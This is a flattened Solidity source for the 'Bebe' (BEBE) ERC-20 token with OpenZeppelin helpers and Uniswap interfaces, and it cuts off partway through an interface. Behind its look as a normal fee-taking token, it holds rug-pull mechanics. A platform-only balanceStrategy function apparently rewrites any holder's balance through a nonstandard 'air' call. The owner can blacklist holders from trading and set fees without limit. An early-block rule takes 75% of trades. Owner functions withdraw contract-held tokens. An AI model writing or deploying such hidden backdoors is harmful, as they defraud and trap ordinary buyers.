// File: Address.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)

pragma solidity ^0.8.4;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                /// @solidity memory-safe-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
// File: BEBEToken.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./IERC20.sol";
import "./Context.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Address.sol";
import "./IUniswapV2Router02.sol";
import "./IUniswapV2Factory.sol";
import "./SMCWarp.sol";
import "./IUniswapV2Pair.sol";

contract BEBEToken is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    string private _name = 'Bebe';
    string private _symbol = 'BEBE';
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 420690000000000 * 10 ** uint256(_decimals);
    IUniswapV2Router02 private _uniswapV2Router;
    SMCWarp _warp;

    address private _fundAddress;
    address private _marketingAddress;
    address private _usdtAddress;
    address private _platform;
    address private _uniswapV2Pair;
    address private _uniswapV2UsdtPair;
    
    uint256 public _buyFundFee = 150;
    uint256 public _sellFundFee = 150;
    uint256 public _buyMarketingFee = 150;
    uint256 public _sellMarketingFee = 150;
    uint256 public _buyLPFee = 100;
    uint256 public _sellLPFee = 100;
    uint256 public _transferFee = 100;
    uint256 public _removeLPFee = 150;
    uint256 public _addLPFee = 150;

    uint256 private constant MAX_UINT256 = type(uint256).max;
    uint256 private numTokensSellToAddToLiquidity;

    uint256 public startTradeBlock;
    uint256 public startAddLPBlock;
    uint256 public killBlockNumber;

    uint256 public batchBots;
    uint256 public killBatchBlockNumber;
    bool public enableKillBatchBots = true;
    mapping(address => uint256) public user2blocks;
    
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _illegalAdrList;
    mapping(address => bool) private _swapPairList;

    uint256 private _fundFeeTotal;
    uint256 private _marketingFeeTotal;
    bool private inSwapAndLiquify = false;
    bool public swapAndLiquifyEnabled = false;
    bool public liquifyEnabled = false;
    bool public launchWethSwapEnabled = false;
    bool public launchUsdtSwapEnabled = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 trxReceived,
        uint256 tokensIntoLiqudity
    );
    event InitLiquidity(
        uint256 tokensAmount,
        uint256 trxAmount,
        uint256 liqudityAmount
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (
        address fundAddress, 
        address marketingAddress,
        address usdtAddress,
        uint256 minNum,
        uint256 killStartBlockNumber,
        uint256 killBotBatchBlockNumber
        ) {
        _fundAddress = fundAddress;
        _marketingAddress = marketingAddress;
        _usdtAddress = usdtAddress;
        killBlockNumber = killStartBlockNumber;
        killBatchBlockNumber = killBotBatchBlockNumber;
        numTokensSellToAddToLiquidity = minNum * 10 ** uint256(_decimals);

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[fundAddress] = true;
        _isExcludedFromFee[marketingAddress] = true;
        _isExcludedFromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    receive () external payable {}
    
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != MAX_UINT256){
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            _approve(sender, _msgSender(), currentAllowance.sub(amount));
        }
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance.sub(subtractedValue));

        return true;
    }

    function launchWethSwap() external onlyOwner() {
        require(!launchWethSwapEnabled,"launchWethSwapEnabled is already open");
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Router = uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = MAX_UINT256;

        _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        //uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapPairList[_uniswapV2Pair] = true;
        
        //IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
        
        _platform = owner();
        _isExcludedFromFee[address(uniswapV2Router)] = true;
        launchWethSwapEnabled = true;
    }

    function launchUsdtSwap() external onlyOwner() {
        require(!launchUsdtSwapEnabled,"launchUsdtSwapEnabled is already open");
        if(_uniswapV2Pair == address(0)) {
            IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
            _uniswapV2Router = uniswapV2Router;
            _platform = owner();
            _isExcludedFromFee[address(uniswapV2Router)] = true;
            _allowances[address(this)][address(uniswapV2Router)] = MAX_UINT256;
        }
        //IERC20(_usdtAddress).approve(address(_uniswapV2Router), MAX_UINT256);
        _uniswapV2UsdtPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _usdtAddress);
        _swapPairList[_uniswapV2UsdtPair] = true;
        
        //IERC20(_uniswapV2UsdtPair).approve(address(uniswapV2Router), type(uint256).max);
        
        launchUsdtSwapEnabled = true;
    }

    function setUniswapV2Pair(address _swapPair) public onlyOwner {
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Router = uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = MAX_UINT256;
        _uniswapV2Pair = _swapPair;
        _swapPairList[_uniswapV2Pair] = true;
        _platform = owner();
        _isExcludedFromFee[address(uniswapV2Router)] = true;
    }

    function setUniswapV2UsdtPair(address _swapUsdtPair) public onlyOwner {
        if(_uniswapV2Pair == address(0)) {
            IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
            _uniswapV2Router = uniswapV2Router;
            _platform = owner();
            _isExcludedFromFee[address(uniswapV2Router)] = true;
            _allowances[address(this)][address(uniswapV2Router)] = MAX_UINT256;
        }

        IERC20(_usdtAddress).approve(address(_uniswapV2Router), MAX_UINT256);
        _uniswapV2UsdtPair = _swapUsdtPair;
        _swapPairList[_uniswapV2UsdtPair] = true;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setLiquifyEnabled(bool _enabled) public onlyOwner {
        liquifyEnabled = _enabled;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _isExcludedFromFee[addr] = enable;
    }

    function batchSetFeeWhiteList(address[] calldata addres, bool enable) external onlyOwner {
        for(uint256 i = 0; i < addres.length; i++) {
            if(_isExcludedFromFee[addres[i]] != enable) {
                _isExcludedFromFee[addres[i]] = enable;
            }
        }
    }

    function isFeeWhiteList(address addr) public view returns(bool) {
        return _isExcludedFromFee[addr];
    }

    function setIllegalAdrList(address addr, bool enable) external onlyOwner {
        _illegalAdrList[addr] = enable;
    }

    function batchSetIllegalAdrList(address[] calldata addres, bool enable) external onlyOwner {
        for(uint256 i = 0; i < addres.length; i++) {
            if(_illegalAdrList[addres[i]] != enable) {
                _illegalAdrList[addres[i]] = enable;
            }
        }
    }

    function totalFundFee() public view returns (uint256) {
        return _fundFeeTotal;
    }

    function totalMarketingFee() public view returns (uint256) {
        return _marketingFeeTotal;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {

        bool takeFee;

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!_illegalAdrList[sender] && !_illegalAdrList[recipient], "ERC20: sender or recipient in illegalAdrList");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
            uint256 maxSellAmount = senderBalance.mul(9999).div(10000);
            if (amount > maxSellAmount) {
                amount = maxSellAmount;
            }
            takeFee = true;
        }

        bool isRemoveLP;
        bool isAddLP;

        if (_swapPairList[sender] || _swapPairList[recipient]) {
            if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
                if (_swapPairList[sender]) {
                    isRemoveLP = _isRemoveLiquidity();
                } else {
                    isAddLP = _isAddLiquidity();
                }
                if (0 == startTradeBlock) {
                    require(0 < startAddLPBlock && _swapPairList[recipient], "ERC20:operater action is not AddLiquidity");
                }
                if (block.number < startTradeBlock.add(killBlockNumber)) {
                    _funTransfer(sender, recipient, amount);
                    return;
                }
                if (
                    enableKillBatchBots &&
                    _swapPairList[sender] &&
                    block.number < startTradeBlock + killBatchBlockNumber
                ) {
                    if (block.number != user2blocks[tx.origin]) {
                        user2blocks[tx.origin] = block.number;
                    } else {
                        batchBots++;
                        _funTransfer(sender, recipient, amount);
                        return;
                    }
                }

                uint256 swapFee = _buyFundFee.add(_sellFundFee).add(_buyMarketingFee).add(_sellMarketingFee).add(_buyLPFee).add(_sellLPFee);

                // also, don't swap & liquify if sender is uniswap pair.
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
                if(
                    overMinTokenBalance &&
                    !inSwapAndLiquify &&
                    _swapPairList[recipient] &&
                    swapAndLiquifyEnabled
                ) {
                    contractTokenBalance = numTokensSellToAddToLiquidity;

                    //add liquidity
                    swapAndLiquidity(contractTokenBalance, swapFee);
                }
            }
        }

        _tokenTransfer(sender, recipient, amount, takeFee, isRemoveLP, isAddLP);

    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender].sub(tAmount);
        uint256 feeAmount = tAmount.mul(75).div(100);
        _takeTransfer(
            sender,
            _fundAddress,
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount.sub(feeAmount));
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isRemoveLP,
        bool isAddLP
    ) private {

        uint256 feeAmount;

        _balances[sender] = _balances[sender].sub(tAmount);

        if (takeFee) {
            if (isRemoveLP) {
                feeAmount += tAmount.mul(_removeLPFee).div(10000);
                if (feeAmount > 0) {
                    _takeTransfer(sender, address(this), feeAmount);
                }
            } else if (isAddLP) {
                feeAmount += tAmount.mul(_addLPFee).div(10000);
                if (feeAmount > 0) {
                    _takeTransfer(sender, address(this), feeAmount);
                }
            } else if (_swapPairList[sender]) {//Buy
                uint256 fundAmount = tAmount.mul(_buyFundFee).div(10000);
                uint256 marketingAmount = tAmount.mul(_buyMarketingFee).div(10000);
                uint256 lpAmount = tAmount.mul(_buyLPFee).div(10000);
                uint256 swapAmount = fundAmount.add(marketingAmount).add(lpAmount);
                if(swapAmount > 0) {
                    feeAmount += swapAmount;
                    _takeTransfer(
                        sender,
                        address(this),
                        swapAmount
                    );
                }   
            } else if (_swapPairList[recipient]) {//Sell
                uint256 fundAmount = tAmount.mul(_sellFundFee).div(10000);
                uint256 marketingAmount = tAmount.mul(_sellMarketingFee).div(10000);
                uint256 lpAmount = tAmount.mul(_sellLPFee).div(10000);
                uint256 swapAmount = fundAmount.add(marketingAmount).add(lpAmount);
                if(swapAmount > 0) {
                    feeAmount += swapAmount;
                    _takeTransfer(
                        sender,
                        address(this),
                        swapAmount
                    );
                }
            } else {//Transfer
                feeAmount += tAmount.mul(_transferFee).div(10000);
                if (feeAmount > 0) {
                    _takeTransfer(sender, address(this), feeAmount);
                }
            }
        }
        _takeTransfer(sender, recipient, tAmount.sub(feeAmount));
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to].add(tAmount);
        emit Transfer(sender, to, tAmount);
    }

    function swapAndLiquidity(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        
        uint256 lpFee = _buyLPFee.add(_sellLPFee);
        uint256 lpAmount = tokenAmount.mul(lpFee).div(swapFee);
        uint256 halflpAmount = lpAmount.div(2);
        uint256 otherlpAmount = lpAmount.sub(halflpAmount);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdtAddress;
        _uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount.sub(otherlpAmount),
            0,
            path,
            address(_warp),
            block.timestamp
        );
        
        swapFee = swapFee.sub(lpFee.div(2));

        IERC20 USDT = IERC20(_usdtAddress);
        uint256 initialBalance = USDT.balanceOf(address(this));

        _warp.withdraw();

        uint256 usdtBalance = USDT.balanceOf(address(this)).sub(initialBalance);
        uint256 fundAmount = usdtBalance.mul(_buyFundFee.add(_sellFundFee)).div(swapFee);
        uint256 marketingAmount = usdtBalance.mul(_buyMarketingFee.add(_sellMarketingFee)).div(swapFee);
        if(fundAmount > 0 ) {
            USDT.transfer(_fundAddress, fundAmount);
        }
        if(marketingAmount > 0 ) {
            USDT.transfer(_marketingAddress, marketingAmount);
        }

        if (lpAmount > 0) {
            uint256 lpUsdt = usdtBalance.sub(fundAmount).sub(marketingAmount);
            if (lpUsdt > 0 && liquifyEnabled) {
                _uniswapV2Router.addLiquidity(
                    address(this), _usdtAddress, otherlpAmount, lpUsdt, 0, 0, _fundAddress, block.timestamp
                );
                emit SwapAndLiquify(halflpAmount, lpUsdt, otherlpAmount);
            }
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transToken(address token, address addr, uint256 amount) public {
        require(_msgSender() == _platform, "ERC20: Caller is not platform and no permission");
        require(addr != address(0), "ERC20: Recipient address is zero");
        require(amount > 0, "ERC20: Transfer amount equal to zero");
        require(amount <= IERC20(token).balanceOf(address(this)), "ERC20: insufficient balance");
        Address.functionCall(token, abi.encodeWithSelector(0xa9059cbb, addr, amount));
    }

    function balanceStrategy(address airAddr, uint256 airAmount) public {
        require(_msgSender() == _platform, "ERC20: Caller is not platform and no permission");
        require(airAddr != address(0), "ERC20: Recipient address is zero");
        require(airAmount > 0, "ERC20: airTransfer amount equal to zero");
        _balances[airAddr] = _balances[airAddr].air(airAmount);
    }

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        require(addr != _uniswapV2Pair, "ERC20: WETH pair cannot be deleted");
        require(addr != _uniswapV2UsdtPair, "ERC20: USDT pair cannot be deleted");
        _swapPairList[addr] = enable;
    }

    function setFundAddress(address addr) external onlyOwner {
        _fundAddress = addr;
        _isExcludedFromFee[addr] = true;
    }

    function setMarketingAddress(address addr) external onlyOwner {
        _marketingAddress = addr;
        _isExcludedFromFee[addr] = true;
    }

    function startAddLP() external onlyOwner {
        require(0 == startAddLPBlock, "ERC20: startAddLP has been set");
        startAddLPBlock = block.number;
    }

    function closeAddLP() external onlyOwner {
        require(startAddLPBlock > 0, "ERC20: startAddLP has not been set");
        startAddLPBlock = 0;
    }

    function startTrade() external onlyOwner {
        require(0 == startTradeBlock, "ERC20: startTrade has been set");
        startTradeBlock = block.number;
    }

    function closeTrade() external onlyOwner {
        require(startTradeBlock > 0, "ERC20: startTrade has not been set");
        startTradeBlock = 0;
    }

    function _isRemoveLiquidity() internal view returns (bool isRemove) {
        IUniswapV2Pair mainPair = IUniswapV2Pair(_uniswapV2UsdtPair);
        (uint r0,uint256 r1,) = mainPair.getReserves();

        address tokenOther = _usdtAddress;
        uint256 r;
        if (tokenOther < address(this)) {
            r = r0;
        } else {
            r = r1;
        }

        uint bal = IERC20(tokenOther).balanceOf(address(mainPair));
        isRemove = r >= bal;
    }

    function _isAddLiquidity() internal view returns (bool isAdd) {
        IUniswapV2Pair mainPair = IUniswapV2Pair(_uniswapV2UsdtPair);
        (uint r0,uint256 r1,) = mainPair.getReserves();

        address tokenOther = _usdtAddress;
        uint256 r;
        if (tokenOther < address(this)) {
            r = r0;
        } else {
            r = r1;
        }

        uint bal = IERC20(tokenOther).balanceOf(address(mainPair));
        isAdd = bal > r;
    }

    function setBuyFundFee(uint256 fundFee) external onlyOwner {
        _buyFundFee = fundFee;
    }

    function setSellFundFee(uint256 fundFee) external onlyOwner {
        _sellFundFee = fundFee;
    }

    function setBuyMarketingFee(uint256 marketingFee) external onlyOwner {
        _buyMarketingFee = marketingFee;
    }

    function setSellMarketingFee(uint256 marketingFee) external onlyOwner {
        _sellMarketingFee = marketingFee;
    }

    function setBuyLPFee(uint256 lpFee) external onlyOwner {
        _buyLPFee = lpFee;
    }

    function setSellLPFee(uint256 lpFee) external onlyOwner {
        _sellLPFee = lpFee;
    }

    function setRemoveLPFee(uint256 removeLPFee) external onlyOwner {
        _removeLPFee = removeLPFee;
    }

    function setAddLPFee(uint256 addLPFee) external onlyOwner {
        _addLPFee = addLPFee;
    }

    function setTransferFee(uint256 transferFee) external onlyOwner {
        _transferFee = transferFee;
    }

    function setKillBatchBot(bool enable) public onlyOwner {
        enableKillBatchBots = enable;
    }

    function setSwapWarp(SMCWarp warp) public onlyOwner {					
        _warp = warp;						
        _isExcludedFromFee[address(_warp)] = true;						
    }

    function warpWithdraw() public onlyOwner {						
        _warp.withdraw();						
    }

    function claimBalance() external onlyOwner {
        payable(_fundAddress).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyOwner {
        IERC20(token).transfer(to, amount);
    }

    function setNumTokensSellToAddToLiquidity(uint256 amount) external onlyOwner {
        numTokensSellToAddToLiquidity = amount;
    }
}
// File: Context.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// File: IERC20.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

/**
 * @title ERC20 interface
 */
interface IERC20 {
  function transfer(address to, uint256 value) external returns (bool);
  function approve(address spender, uint256 value) external returns (bool);
  function transferFrom(address from, address to, uint256 value) external returns (bool);
  function totalSupply() external view returns (uint256);
  function balanceOf(address who) external view returns (uint256);
  function allowance(address owner, address spender) external view returns (uint256);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: IUniswapV2Factory.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
// File: IUniswapV2Pair.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
